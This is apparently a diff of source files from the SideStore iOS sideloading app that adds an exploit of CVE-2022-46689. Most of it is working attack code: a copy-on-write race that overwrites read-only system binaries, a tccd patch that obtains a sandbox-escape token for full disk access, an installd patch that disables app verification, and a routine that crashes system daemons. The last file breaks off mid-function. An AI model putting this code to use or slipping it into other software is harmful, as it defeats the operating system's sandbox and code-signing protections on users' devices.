// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }
#endif

View File

@@ -0,0 +1,33 @@
//
// MDC+AltStoreCore.swift
// AltStoreCore
//
// Created by naturecodevoid on 5/31/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import Foundation
// Parts of MDC we need in AltStoreCore
// TODO: destroy AltStoreCore
public class MDC {
#if MDC
public static var installdHasBeenPatched: Bool {
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
return lastInstalldPatchBootTime == bootTime()
}
#endif
}
#if MDC
public func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
#endif

View File

@@ -0,0 +1,99 @@
//
// Remove3AppLimitView.swift
// SideStore
//
// Created by naturecodevoid on 5/29/23.
// Copyright © 2023 SideStore. All rights reserved.
//
#if MDC
import SwiftUI
import AltStoreCore
fileprivate extension View {
func common() -> some View {
self
.padding()
.transition(.opacity.animation(.linear))
}
}
struct Remove3AppLimitView: View {
@ObservedObject private var iO = Inject.observer
@State var runningPatch = false
@State private var showErrorAlert = false
@State private var errorAlertMessage = ""
@State private var showSuccessAlert = false
@ViewBuilder
private var notSupported: some View {
Text(L10n.Remove3AppLimitView.notSupported)
}
@ViewBuilder
private var installdHasBeenPatched: some View {
Text(L10n.Remove3AppLimitView.alreadyPatched)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
@ViewBuilder
private var applyPatch: some View {
Text(L10n.Remove3AppLimitView.patchInfo)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
var body: some View {
VStack {
if !MDC.isSupported {
notSupported.common()
} else {
if MDC.installdHasBeenPatched {
installdHasBeenPatched.common()
} else {
applyPatch.common()
SwiftUI.Button(action: {
Task {
do {
guard !runningPatch else { return }
runningPatch = true
try await MDC.patch3AppLimit()
showSuccessAlert = true
} catch {
errorAlertMessage = error.message()
showErrorAlert = true
}
runningPatch = false
}
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
.padding()
}
}
Spacer()
}
.alert(isPresented: $showErrorAlert) {
Alert(
title: Text(L10n.AsyncFallibleButton.error),
message: Text(errorAlertMessage)
)
}
.alert(isPresented: $showSuccessAlert) {
Alert(
title: Text(L10n.Action.success),
message: Text(L10n.Remove3AppLimitView.success)
)
}
.navigationTitle(L10n.Remove3AppLimitView.title)
.enableInjection()
}
}
struct Remove3AppLimitView_Previews: PreviewProvider {
static var previews: some View {
Remove3AppLimitView()
}
}
#endif

View File

@@ -0,0 +1,8 @@
#ifdef MDC
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
bool patch_installd(void);
#endif /* MDC */

View File

@@ -0,0 +1,612 @@
#ifdef MDC
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_full_disk_access.h"
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct grant_full_disk_access_offsets {
uint64_t offset_addr_s_com_apple_tcc_;
uint64_t offset_padding_space_for_read_write_string;
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
uint64_t offset_auth_got__sandbox_init;
uint64_t offset_just_return_0;
bool is_arm64e;
};
static bool patchfind_sections(void* executable_map,
struct segment_command_64** data_const_segment_out,
struct symtab_command** symtab_out,
struct dysymtab_command** dysymtab_out) {
struct mach_header_64* executable_header = executable_map;
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_const_segment_out = segment;
}
break;
}
case LC_SYMTAB: {
*symtab_out = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dysymtab_out = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool patchfind(void* executable_map, size_t executable_length,
struct grant_full_disk_access_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_addr_s_com_apple_tcc_ =
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_padding_space_for_read_write_string =
patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->offset_auth_got__sandbox_init =
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
printf("no sandbox_init\n");
return false;
}
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
0) {
printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = executable_map;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
NSLog(@"xpc event handler: %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
"target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
NSLog(@"object is nil???");
completion(nil);
return;
}
NSLog(@"response: %@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
NSLog(@"xpc error?");
completion(nil);
return;
}
NSLog(@"debug description: %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
struct grant_full_disk_access_offsets offsets = {};
if (!patchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
}
{
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase targetRebase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary);
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
targetRebase;
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.offset_auth_got__sandbox_init) =
targetRebase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase targetRebase = {
.bind = 0,
.next = 2,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
targetRebase;
}
return data;
}
static bool overwrite_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unaligned_copy_switch_race(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patchTCCD(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.tccd");
sleep(1);
call_tccd(^(NSString* _Nullable extension_token) {
overwrite_file(fd, originalData);
xpc_crasher("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
@"reverted after reboot, so running this may permanently corrupt tccd."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct installd_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(executable_map + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static bool patchfind_installd(void* executable_map, size_t executable_length,
struct installd_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
"MIInstallableBundle")) == 0) {
printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(executable_map +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
0) {
printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
struct installd_remove_app_limit_offsets offsets = {};
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool patch_installd() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_patch_installd(targetMap, targetLength);
if (!sourceData) {
NSLog(@"can't patchfind");
return false;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
NSLog(@"can't overwrite");
return false;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
overwrite_file(fd, originalData);
return true;
}
#endif /* MDC */

14
AltStore/MDC/helpers.h Normal file
View File

@@ -0,0 +1,14 @@
#ifdef MDC
#ifndef helpers_h
#define helpers_h
char* get_temp_file_path(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);
void xpc_crasher(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */
#endif /* MDC */

132
AltStore/MDC/helpers.m Normal file
View File

@@ -0,0 +1,132 @@
#ifdef MDC
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temp_file_path(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* set_up_tmp_file(void) {
char* path = get_temp_file_path();
printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
printf("port right extraction failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void xpc_crasher(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
return;
} else {
printf("sent xpc w00t message\n");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}
#endif /* MDC */

View File

@@ -0,0 +1,364 @@
#ifdef MDC
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "vm_unaligned_copy_switch_race.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct context1 {
vm_size_t obj_size;
vm_address_t e0;
mach_port_t mem_entry_ro;
mach_port_t mem_entry_rw;
dispatch_semaphore_t running_sem;
pthread_mutex_t mtx;
volatile bool done;
};
static void *
switcheroo_thread(__unused void *arg)
{
kern_return_t kr;
struct context1 *ctx;
ctx = (struct context1 *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->running_sem);
while (!ctx->done) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mtx);
if (ctx->done) {
pthread_mutex_unlock(&ctx->mtx);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_rw,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mtx);
usleep(100);
}
return NULL;
}
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
